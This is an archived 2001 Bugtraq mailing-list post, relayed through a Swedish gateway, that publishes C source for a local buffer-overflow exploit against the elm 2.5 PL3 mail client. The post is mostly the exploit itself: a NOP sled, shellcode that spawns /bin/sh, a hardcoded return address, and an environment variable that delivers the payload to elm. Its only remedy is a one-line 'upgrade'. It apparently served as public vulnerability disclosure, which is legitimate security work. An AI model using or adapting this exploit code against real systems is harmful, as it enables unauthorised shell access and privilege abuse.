6092305 2001-02-13 13:36 +0100 /64 rader/ kiss <NIKEBOY@RETEMAIL.ES> Sänt av: joel@lysator.liu.se Importerad: 2001-02-14 01:59 av Brevbäraren (som är implementerad i) Python Extern mottagare: BUGTRAQ@SECURITYFOCUS.COM Externa svar till: NIKEBOY@RETEMAIL.ES Mottagare: Bugtraq (import) <15433> Ärende: elm 2.5 PL3 exploit ------------------------------------------------------------ From: kiss <NIKEBOY@RETEMAIL.ES> To: BUGTRAQ@SECURITYFOCUS.COM Message-ID: <01021313360200.00594@starlaser> this is a just a proof of concept, i haven't included setgid call in the shellcode: /*** ------------- elm253-exploit.c ------------- ***/ #include <stdlib.h> #define NOP 0x90 #define LEN 356 #define OFFSET 0 #define RET 0xbffffa64 unsigned long dame_sp() { __asm__("movl %esp,%eax"); } void main() { static char shellcode[]= /* "\x31\xc0" */ /* xorl %eax,%eax */ /* "\x31\xdb" */ /* xorl %ebx,%ebx */ /* "\xb0\x17" */ /* movb $0x17,%al */ /* "\xcd\x80" */ /* int $0x80 */ "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; int i=0; int cont=0; char buffer[LEN+4]; char kid[6+LEN+4]; printf("-------------------------------------\n"); printf("elm buffer overflow exploit by _kiss_\n"); printf("-------------------------------------\n"); for (i=0;i<=LEN;i+=4) *(long *) &buffer[i] = RET; for (i=0;i<LEN-strlen(shellcode)-100;i++) buffer[i]=NOP; for (i=LEN-strlen(shellcode)-100;i<LEN-100;i++) buffer[i]=shellcode[cont++]; strcpy(kid,"KID="); strcat(kid,buffer); putenv(kid); system("/usr/local/bin/elm -f $KID"); } solution is simple: upgrade ;) _kiss_ (6092305) --------------------------------(Ombruten)